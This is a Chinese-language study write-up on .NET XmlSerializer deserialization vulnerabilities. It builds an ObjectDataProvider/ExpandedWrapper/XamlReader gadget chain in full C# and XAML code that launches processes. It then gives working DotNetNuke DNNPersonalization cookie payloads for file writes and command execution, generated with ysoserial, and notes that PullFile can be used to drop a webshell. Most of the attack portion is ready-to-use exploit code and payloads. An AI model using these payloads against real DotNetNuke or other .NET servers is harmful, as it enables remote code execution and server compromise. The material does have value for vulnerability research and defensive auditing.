.NET序列化学习之XmlSerializer

 

.NET XmlSerializer

结构化XML数据映射为.NET对象,XmlSerializer 类的程序中通过单个API 调用来执行XML文档和对象之间的转换,转换后会在.NET类中元数据属性来表示,当Web程序,用户可控Type类的静态方法获取数据,并调用Deserialize反序列化xml数据就会触发反序列化漏洞攻击。
(本文主要是一次对.net 序列化漏洞的学习笔记,如本文有错误、还请大佬们多多指点)

 

XmlSerialize 反序列化

序列化过程

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Data;
using System.Windows.Documents;
using System.Windows.Input;
using System.Windows.Media;
using System.Windows.Media.Imaging;
using System.Windows.Navigation;
using System.Windows.Shapes;
using System.Xml;
using System.IO;
using System.Xml.Serialization;
using System.Xml.Linq;


namespace WpfApp1
{

    [XmlRoot]
    public class TestClass
    {
        private string classname;
        private string name;
        private int age;
        [XmlAttribute]
        public string Classname { get => classname; set => classname = value; }
        [XmlElement]
        public string Name { get => name; set => name = value; }
        [XmlElement]
        public int Age { get => age; set => age = value; }
        public override string ToString()
        {
            return base.ToString();
        }

    }
    /// <summary>
    /// MainWindow.xaml 的交互逻辑
    /// </summary>
    public partial class MainWindow : Window
    {
        public MainWindow()
        {
            InitializeComponent();
            TestClass testClass = new TestClass();
            testClass.Classname = "test";
            testClass.Name = "0xdd";
            testClass.Age = 18;
            FileStream fileStream = File.OpenWrite(@"C:\Windows\Temp\log.txt");
            using (TextWriter writer = new StreamWriter(fileStream))
            {
                XmlSerializer serialize = new XmlSerializer(typeof(TestClass));
                serialize.Serialize(writer, testClass);
            }
        }
    }
}

成功生成xml 数据 在 log.txt

反序列化过程

将xml 文件 转换为对象是通过创建一个新对象的方式调用,XmlSerializer.Deserialize 方法实现,在序列化最关键的一环当属new XmlSerializer 构造方法里所传的参数,这个参数来自System.Type类 ,通过这个类可以访问关于任意数据类型的信息,指向任何给类型的Type 引用 有以下三种方式

typeof

实例化的XmlSerializer 传入的typeof(TestClass) 表示获取TestClass类的Type
typeof是C#中的运算符,所传的参数只能是类型的名称,而不能是实例化的对象,如下Demo
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Data;
using System.Windows.Documents;
using System.Windows.Input;
using System.Windows.Media;
using System.Windows.Media.Imaging;
using System.Windows.Navigation;
using System.Windows.Shapes;
using System.Xml;
using System.IO;
using System.Xml.Serialization;
using System.Xml.Linq;


namespace WpfApp1
{

    [XmlRoot]
    public class TestClass
    {
        private string classname;
        private string name;
        private int age;
        [XmlAttribute]
        public string Classname { get => classname; set => classname = value; }
        [XmlElement]
        public string Name { get => name; set => name = value; }
        [XmlElement]
        public int Age { get => age; set => age = value; }
        public override string ToString()
        {
            return base.ToString();
        }

    }
    /// <summary>
    /// MainWindow.xaml 的交互逻辑
    /// </summary>
    public partial class MainWindow : Window
    {
        public MainWindow()
        {
            InitializeComponent();
            TestClass testClass = new TestClass();
            //testClass.Classname = "test";
            //testClass.Name = "0xdd";
            //testClass.Age = 18;
            //FileStream fileStream = File.OpenWrite(@"C:\Windows\Temp\log.txt");
            //using (TextWriter writer = new StreamWriter(fileStream))
            //{
            //    XmlSerializer serialize = new XmlSerializer(typeof(TestClass));
            //    serialize.Serialize(writer, testClass);
            //}

            using (var stream = new FileStream(@"C:\Windows\Temp\log.txt", FileMode.Open))
            {
                var serializers = new XmlSerializer(typeof(TestClass));
                testClass = serializers.Deserialize(stream) as TestClass;
            }
            MessageBox.Show(testClass.Name);
        }
    }
}

通过typeof 获取Type 之后就能得到该类中所有的Methods、Members等信息 ,下图在运行时、通过反序列化在对话框获取了当前成员Name的值

object.Type

在.NET里所有的类最终都派生自System.Object , 在Object 类中定义了许多公有和受保护的成员方法,这些方法可用于自己定义的所有其他类中,GetType方法就是其中的一个,该方法放回从System.Type派生的类 的一个实例,因为可以提供对象成员和所属类的信息,包括基本类型、方法、属性等,上述案例中实例化TestClass,再获取当前实例的Type

            using (var stream = new FileStream(@"C:\Windows\Temp\log.txt", FileMode.Open))
            {
                var serializers = new XmlSerializer(testClass.GetType());
                testClass = serializers.Deserialize(stream) as TestClass;
            }
            MessageBox.Show(testClass.Name);
        }

Type.GetType

第三种方法是Type类的静态方法GetType,这个方法允许外界传入字符串,只需要传入全限定名就可以调用该类中的方法、属性等

            using (var stream = new FileStream(@"C:\Windows\Temp\log.txt", FileMode.Open))
            {
                var serializers = new XmlSerializer(Type.GetType("WpfApp1.TestClass"));
                testClass = serializers.Deserialize(stream) as TestClass;
            }
            MessageBox.Show(testClass.Name);

 

打造攻击链

ObjectDataProvider

ObjectDataProvider 类,它位于System.Windows.Data 命名空间下,可以调用任意被引用类中的的方法,提供成员ObjectInstance用类似实例化类、成员MethodName调用指定类型的方法的名称、成员MethodParameters表示传递给方法的参数

demo

            ObjectDataProvider object1 = new ObjectDataProvider();
            object1.ObjectInstance = new TestClass();
            object1.MethodName = "ClassMethod";
            object1.MethodParameters.Add("calc.exe");

因为直接用XmlSerializer 序列化会抛出异常,因为再序列化过程中 ObjectInstance 类型未知,可以使用ExpandedWrapper 扩展类再系统内部预先加载相关实体的查询来避免异常错误,改写Demo

            ExpandedWrapper<TestClass, ObjectDataProvider> wrapper = new ExpandedWrapper<TestClass, ObjectDataProvider>();
            wrapper.ProjectedProperty0 = new ObjectDataProvider();
            wrapper.ProjectedProperty0.ObjectInstance = new TestClass();
            wrapper.ProjectedProperty0.MethodName = "ClassMethod";
            wrapper.ProjectedProperty0.MethodParameters.Add("notepad.exe");
            XmlSerializer serializer1 = new XmlSerializer(typeof(ExpandedWrapper<TestClass, ObjectDataProvider>));
            TextWriter textWriter2 = new StreamWriter(@"C:\Windows\temp\ser.xml");
            serializer1.Serialize(textWriter2, wrapper);
            textWriter2.Close();

ExpandedWrapper 需要使用引用 System.Data.Services.Internal;

完整WPFdemo

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Data;
using System.Windows.Documents;
using System.Windows.Input;
using System.Windows.Media;
using System.Windows.Media.Imaging;
using System.Windows.Navigation;
using System.Windows.Shapes;
using System.Xml;
using System.IO;
using System.Xml.Serialization;
using System.Xml.Linq;
using System.Data.Services.Internal;

namespace WpfApp1
{

    [XmlRoot]
    public class TestClass
    {
        private string classname;
        private string name;
        private int age;
        public void ClassMethod(string command) {
            System.Diagnostics.Process cmd_run = new System.Diagnostics.Process();
            cmd_run.StartInfo.FileName = "cmd.exe";
            cmd_run.StartInfo.UseShellExecute = false;
            cmd_run.StartInfo.RedirectStandardError = true;
            cmd_run.StartInfo.RedirectStandardOutput = true;
            cmd_run.StartInfo.RedirectStandardInput = true;
            cmd_run.StartInfo.Arguments = "/c" + command;
            cmd_run.Start();
        }
        [XmlAttribute]
        public string Classname { get => classname; set => classname = value; }
        [XmlElement]
        public string Name { get => name; set => name = value; }
        [XmlElement]
        public int Age { get => age; set => age = value; }
        public override string ToString()
        {
            return base.ToString();
        }

    }
    /// <summary>
    /// MainWindow.xaml 的交互逻辑
    /// </summary>
    public partial class MainWindow : Window
    {
        public MainWindow()
        {
            InitializeComponent();
            using (var stream = new FileStream(@"C:\Windows\Temp\log.txt", FileMode.Open))
            {
                var serializers = new XmlSerializer(Type.GetType("WpfApp1.TestClass"));
                testClass = serializers.Deserialize(stream) as TestClass;
            }
            MessageBox.Show(testClass.Name);

            ExpandedWrapper<TestClass, ObjectDataProvider> wrapper = new ExpandedWrapper<TestClass, ObjectDataProvider>();
            wrapper.ProjectedProperty0 = new ObjectDataProvider();
            wrapper.ProjectedProperty0.ObjectInstance = new TestClass();
            wrapper.ProjectedProperty0.MethodName = "ClassMethod";
            wrapper.ProjectedProperty0.MethodParameters.Add("notepad.exe");
            XmlSerializer serializer1 = new XmlSerializer(typeof(ExpandedWrapper<TestClass, ObjectDataProvider>));
            TextWriter textWriter2 = new StreamWriter(@"C:\Windows\temp\ser.xml");
            serializer1.Serialize(textWriter2, wrapper);
            textWriter2.Close();


        }
    }
}

生成内容:

<?xml version="1.0" encoding="utf-8"?>
<ExpandedWrapperOfTestClassObjectDataProvider xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
  <ProjectedProperty0>
    <ObjectInstance xsi:type="TestClass">
      <Age>0</Age>
    </ObjectInstance>
    <MethodName>ClassMethod</MethodName>
    <MethodParameters>
      <anyType xsi:type="xsd:string">notepad.exe</anyType>
    </MethodParameters>
  </ProjectedProperty0>
</ExpandedWrapperOfTestClassObjectDataProvider>

这样攻击链第一步就完成了,但是因为这里测试环境 TestClass类 存在ClassMethod 方法 可以执行命令,但在实际的生产环境中是非常复杂的,所以为了使攻击成本降低
需要调用系统类取达到命令执行。

ResourceDictionary

ResourceDictionary,称为资源字典通常出现在WPF或UWP应用程序中用来在多个程序集间共享静态资源,既然是WPF程序,必然设计到前端UI设计语言XAML,
XAML全程 Extensible Application Markup Language (可扩展应用程序标记语言) 基于XML的,且XAML是以一个树形结构作为整体

参考来源于Ivan1ee师傅的.NET高级代码审计

  • 第一个标签ResourceDictionary,xmlns:Runtime 表示读取System.Diagnostics 命令空间的名称起个别名为Runtime
  • 第二个标签ObjectDataProvider 指定了三个属性,x:key 便于条件检索,意义不大,但是必须定义。ObjectType 用来获取或设置要创建其实例的对象的类型,并使用了XAML扩展

x:Type 相当于C#中typeof运算符功能,这里传递的值是System.Diagnostics.Process;MethodName 用来获取或设置调用的方法的名称,传递的值为System.Diagonstics.Process.Start 方法用来启动一个进程

  • 第三个标签 ObjectDataProvider.MethodParameters 内嵌了两个方法参数标签,通过 System:String 分别指定了启动文件和启动时所带参数供Start方法使用

XAML概述

可扩展应用程序标记语言 (XAML) 是一种基于 XML 的声明性语言。XAML 广泛用于以下类型的应用程序以构建用户界面

 -Windows Presentation Foundation (WPF) 应用
 -通用 Windows 平台 (UWP) 应用
 -Xamarin.Forms 应用

XAML demo 用途

  • 使用
    <Button Click="ButtonClick" Margin="136,116,60,55" Grid.Row="1">Button Click 0xdd</Button>  创建按钮
    

XamlReader

XamlReader 位于System.Windows.Markup 空间下,主要用来读取XAML文件,默认的XAML读取器,通过Load读取STream流中的XAML数据,并返回作为根对象,Parse方法读取指定字符串的XAML输入,
也同样返回作为根对象。

https://docs.microsoft.com/en-us/dotnet/api/system.windows.markup.xamlreader?view=windowsdesktop-6.0

使用ObjectDataProvider 的ObjectInstance 方法实例化XamlReader 再指定MethodName 为Parse,并且给 MethodParameters 传递序列化之后的资源字典数据,这样就可以完成XmlSerializer 反序列化攻击链的打造。

  • 实例ObjectDataProvider 实例化XamlReader 调用过程

xmlstudy.xml

0x01 xmlns:Diag 引用了System.Diagnostics 命令空间起名为Diag
0x02 x:key 起名为LaunchCalch 这个值也可为空,在xaml语法中, Key这个键值必须有
0x03 ObjectType 表示对象类型
0x04 x:Type 相等于 typeof()
0x05 MethodName 是ObjectDataProvider 的属性,值为Start、指定调用Start方法
0x06 Diag:Process 等同于 System.Diagnostics.Process

<ResourceDictionary
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:System="clr-namespace:System;assembly=mscorlib"
xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system">
    <ObjectDataProvider x:Key="LaunchCalch" ObjectType="{x:Type Diag:Process}" MethodName="Start">
        <ObjectDataProvider.MethodParameters>
            <System:String>cmd.exe</System:String>
            <System:String>/c calc.exe</System:String>
        </ObjectDataProvider.MethodParameters>
    </ObjectDataProvider>
</ResourceDictionary>

调用过程 使XamlReader Parse方法 接收指定的 xml 数据

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Data;
using System.Windows.Documents;
using System.Windows.Input;
using System.Windows.Media;
using System.Windows.Media.Imaging;
using System.Windows.Navigation;
using System.Windows.Shapes;
using System.Xml;
using System.IO;
using System.Xml.Serialization;
using System.Xml.Linq;
using System.Data.Services.Internal;
using System.Windows.Markup;

namespace WpfApp1
{

    /// <summary>
    /// MainWindow.xaml 的交互逻辑
    /// </summary>
    public partial class MainWindow : Window
    {
        public MainWindow()
        {
            InitializeComponent();
            ExpandedWrapper<XamlReader, ObjectDataProvider> wrapper = new ExpandedWrapper<XamlReader, ObjectDataProvider>();
            wrapper.ProjectedProperty0 = new ObjectDataProvider();
            wrapper.ProjectedProperty0.ObjectInstance = new XamlReader();
            wrapper.ProjectedProperty0.MethodName = "Parse";
            wrapper.ProjectedProperty0.MethodParameters.Add(File.ReadAllText(@"C:\WIndows\temp\xmlstudy.xml"));

        }
        }
}

demo

ysoserial.exe -g ObjectDataProvider -calc -f xmlserializer

 <?xml version="1.0"?>
<root type="System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
    <ExpandedWrapperOfXamlReaderObjectDataProvider xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" >
        <ExpandedElement/>
        <ProjectedProperty0>
            <MethodName>Parse</MethodName>
            <MethodParameters>
                <anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string">
                    <![CDATA[<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:d="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:b="clr-namespace:System;assembly=mscorlib" xmlns:c="clr-namespace:System.Diagnostics;assembly=system"><ObjectDataProvider d:Key="" ObjectType="{d:Type c:Process}" MethodName="Start"><ObjectDataProvider.MethodParameters><b:String>cmd</b:String><b:String>/c alc</b:String></ObjectDataProvider.MethodParameters></ObjectDataProvider></ResourceDictionary>]]>
                </anyType>
            </MethodParameters>
            <ObjectInstance xsi:type="XamlReader"></ObjectInstance>
        </ProjectedProperty0>
    </ExpandedWrapperOfXamlReaderObjectDataProvider>
</root>
<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:d="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:b="clr-namespace:System;assembly=mscorlib" xmlns:c="clr-namespace:System.Diagnostics;assembly=system">
  <ObjectDataProvider d:Key="" ObjectType="{d:Type c:Process}" MethodName="Start">
    <ObjectDataProvider.MethodParameters>
      <b:String>cmd</b:String>
      <b:String>/c alc</b:String>
    </ObjectDataProvider.MethodParameters>
  </ObjectDataProvider>
</ResourceDictionary>
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Data;
using System.Windows.Documents;
using System.Windows.Input;
using System.Windows.Media;
using System.Windows.Media.Imaging;
using System.Windows.Navigation;
using System.Windows.Shapes;
using System.Xml;
using System.IO;
using System.Xml.Serialization;
using System.Xml.Linq;
using System.Data.Services.Internal;
using System.Windows.Markup;

namespace WpfApp1
{

    /// <summary>
    /// MainWindow.xaml 的交互逻辑
    /// </summary>
    public partial class MainWindow : Window
    {
        public MainWindow()
        {
            InitializeComponent();
            string p = "PFJlc291cmNlRGljdGlvbmFyeSAKICAgICAgICAgICAgICAgICAgICB4bWxucz0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwvcHJlc2VudGF0aW9uIiAKICAgICAgICAgICAgICAgICAgICB4bWxuczpkPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbCIgCiAgICAgICAgICAgICAgICAgICAgeG1sbnM6Yj0iY2xyLW5hbWVzcGFjZTpTeXN0ZW07YXNzZW1ibHk9bXNjb3JsaWIiIAogICAgICAgICAgICAgICAgICAgIHhtbG5zOmM9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PXN5c3RlbSI+CiAgICA8T2JqZWN0RGF0YVByb3ZpZGVyIGQ6S2V5PSIiIE9iamVjdFR5cGU9IntkOlR5cGUgYzpQcm9jZXNzfSIgTWV0aG9kTmFtZT0iU3RhcnQiPgogICAgICAgIDxPYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4KICAgICAgICAgICAgPGI6U3RyaW5nPmNtZDwvYjpTdHJpbmc+CiAgICAgICAgICAgIDxiOlN0cmluZz4vYyBjYWxjPC9iOlN0cmluZz4KICAgICAgICA8L09iamVjdERhdGFQcm92aWRlci5NZXRob2RQYXJhbWV0ZXJzPgogICAgPC9PYmplY3REYXRhUHJvdmlkZXI+CjwvUmVzb3VyY2VEaWN0aW9uYXJ5Pg==";
            byte[] vs = Convert.FromBase64String(p);
            string xml = Encoding.UTF8.GetString(vs);
            XmlDeserialize(xml);
        }
        public static void XmlDeserialize(string o)
        {
            XamlReader.Parse(o);
        }
    }
}

 

攻击链形式

汇总来说攻击链分了2种形式

  • ObjectDataProvider – > Class.Evil() 该种方法 需要代码中有类含有恶意的方法
  • ObjectDataProvider – > XamlReader.Parse() – > ObjectDataProvider -> System.Diagnostics.Process.Start(“cmd.exe”,”/c notepad.exe”) 通用调用

 

XmlSerialize 代码审计视角

DNN Platform 漏洞版本下载地址

入口点

通过dNSpy工具 对代码进行审计,根据漏洞描述,我们可以明确,通过设定Cookie DNNPersonalization 的值 造成远程代码执行

从代码41中行可以看出,当 if(userId > Null.NullInteger) 条件不满足时 会从Cookie中取出DNNPersonalization 的值, 赋值给text 并由 Globals.DeserializeHashTableXml(text)) 传入
XmlUtils.DeSerializeHashtable() 函数

跟入Globals.DeserializeHashTableXml

继续跟进 DeSerializeHashtable

XmlDocument 命名空间:System.xml 表示 XML 文档。 可使用此类在文档中加载、验证、编辑、添加和放置 XML。
详细可参考 https://docs.microsoft.com/zh-cn/dotnet/api/system.xml.xmldocument?view=net-6.0

XmlElement 命名空间:System.xml 元素可以有与之关联的属性,例如使用 GetAttribute 方法 返回具有指定名称的属性的值。
https://docs.microsoft.com/zh-cn/dotnet/api/system.xml.xmlelement?view=net-6.0

分析函数功能,

1.初始化了XmlDocumnet,并通过LoadXml 传入xmlSource,通过 xmlDocument.SelectNodes(rootname + “/item”) 进行选择匹配 XPath 表达式的节点列表。

rootname的值 为 return XmlUtils.DeSerializeHashtable(Source, “profile”); 传入的 profile,那么获取的为<profile><item>标签中的值

2.通过传入的xml数据,使用xmlElement.GetAttribute 获取 type 属性的值,并生成XmlSerializer实例, 通过代码160-163行 可以看到此时 type 和xmlReader 我们都是可控的

构造payload

首先上文已经提到了2条攻击链的形式

  • 1.利用本身程序的方法

具体大家想使用哪个方法,都可以自行查找一些由价值的方法,这里举一个读文件的例子,在 DotNetNuke.Common.Utilities.FileSystemUtils

按照上文所说的打造攻击链,使用 ExpandedWrapper 进行Payload 构造

需要添加 DoNetNuke.dll DotNetNuke.Instrumentation.dll 引用

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Windows;
using System.Threading.Tasks;
using System.Windows.Data;
using System.Xml.Linq;
using System.IO;
using System.Xml.Serialization;
using DotNetNuke.Common.Utilities;
using System.Data.Services.Internal;

namespace ConsoleApp11
{
    class Program
    {

        static void Main(string[] args)
        {   
            ExpandedWrapper<FileSystemUtils, ObjectDataProvider> wrapper = new ExpandedWrapper<FileSystemUtils, ObjectDataProvider>();
            XmlSerializer serializer1 = new XmlSerializer(typeof(ExpandedWrapper<FileSystemUtils, ObjectDataProvider>));
            Type GetobjType = typeof(ExpandedWrapper<FileSystemUtils, ObjectDataProvider>);
            Console.Write(GetobjType.AssemblyQualifiedName);
            wrapper.ProjectedProperty0 = new ObjectDataProvider();
            wrapper.ProjectedProperty0.ObjectInstance = new FileSystemUtils();
            wrapper.ProjectedProperty0.MethodName = "WriteFile";
            wrapper.ProjectedProperty0.MethodParameters.Add("C:\\Windows\\Temp\\0xdd.txt");
            TextWriter textWriter2 = new StreamWriter(@"C:\Windows\temp\ser.xml");
            serializer1.Serialize(textWriter2, wrapper);
            textWriter2.Close();
        }
    }
}

运行后生成出了 Payload 并获取了type

type

System.Data.Services.Internal.ExpandedWrapper`2[[DotNetNuke.Common.Utilities.FileSystemUtils, DotNetNuke, Version=9.1.0.367, Culture=neutral, PublicKeyToken=null],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089

根据上面读取DeSerializeHashtable方法的代码,我们还要构造以下xml,使程序可以成功读取type 和xml数据,

<profile><item key="key:0xdd" type="System.Data.Services.Internal.ExpandedWrapper`2[[DotNetNuke.Common.Utilities.FileSystemUtils, DotNetNuke, Version=9.1.0.367, Culture=neutral, PublicKeyToken=null],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"><ExpandedWrapperOfFileSystemUtilsObjectDataProvider xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><ProjectedProperty0><ObjectInstance xsi:type="FileSystemUtils" /><MethodName>WriteFile</MethodName><MethodParameters><anyType xsi:type="xsd:string">C:\inetpub\wwwroot\0xdd.txt</anyType></MethodParameters></ProjectedProperty0></ExpandedWrapperOfFileSystemUtilsObjectDataProvider></item></profile>

请求一个404的页面,在cookie 中DNNPersonalization 传入数据,成功获取到文件内容

当然,也可以利用DotNetNuke.Common.Utilities.FileSystemUtils中的 PullFile 把远程的文件,下载到指定目录 (例:下载Webshell至指定目录)

  • 2.找通用组件的方法

ObjectStateFormatter 一般用于序列化和反序列化状态对象图,位于命名空间System.Web.UI、 Deserialize 方法 支持函数多态,可以处理二进制数据、BASE64数据

可以直接利用.net ysoserial 工具 生成DotNetNuke ObjectStateFormatter利用的payload

.net ysoserial 工具

ysoserial.exe -p DotNetNuke -m run_command -c whoami
<profile><item key="key" type="System.Data.Services.Internal.ExpandedWrapper`2[[System.Web.UI.ObjectStateFormatter, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"><ExpandedWrapperOfObjectStateFormatterObjectDataProvider><ProjectedProperty0><ObjectInstance p3:type="ObjectStateFormatter" xmlns:p3="http://www.w3.org/2001/XMLSchema-instance" /><MethodName>Deserialize</MethodName><MethodParameters><anyType xmlns:q1="http://www.w3.org/2001/XMLSchema" p5:type="q1:string" xmlns:p5="http://www.w3.org/2001/XMLSchema-instance">/wEykgcAAQAAAP////8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAAC0BTw/eG1sIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9InV0Zi04Ij8+DQo8T2JqZWN0RGF0YVByb3ZpZGVyIE1ldGhvZE5hbWU9IlN0YXJ0IiBJc0luaXRpYWxMb2FkRW5hYmxlZD0iRmFsc2UiIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbC9wcmVzZW50YXRpb24iIHhtbG5zOnNkPSJjbHItbmFtZXNwYWNlOlN5c3RlbS5EaWFnbm9zdGljczthc3NlbWJseT1TeXN0ZW0iIHhtbG5zOng9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sIj4NCiAgPE9iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT4NCiAgICA8c2Q6UHJvY2Vzcz4NCiAgICAgIDxzZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICAgICAgPHNkOlByb2Nlc3NTdGFydEluZm8gQXJndW1lbnRzPSIvYyB3aG9hbWkiIFN0YW5kYXJkRXJyb3JFbmNvZGluZz0ie3g6TnVsbH0iIFN0YW5kYXJkT3V0cHV0RW5jb2Rpbmc9Int4Ok51bGx9IiBVc2VyTmFtZT0iIiBQYXNzd29yZD0ie3g6TnVsbH0iIERvbWFpbj0iIiBMb2FkVXNlclByb2ZpbGU9IkZhbHNlIiBGaWxlTmFtZT0iY21kIiAvPg0KICAgICAgPC9zZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICA8L3NkOlByb2Nlc3M+DQogIDwvT2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KPC9PYmplY3REYXRhUHJvdmlkZXI+Cw==</anyType></MethodParameters></ProjectedProperty0></ExpandedWrapperOfObjectStateFormatterObjectDataProvider></item></profile>

可以发现关键点 type和xmlReader 可控,除了DotNetNuke 使用了XmlSerialize,还可以尝试用SharePoint 进行练手

参考:https://www.anquanke.com/post/id/172316

(完)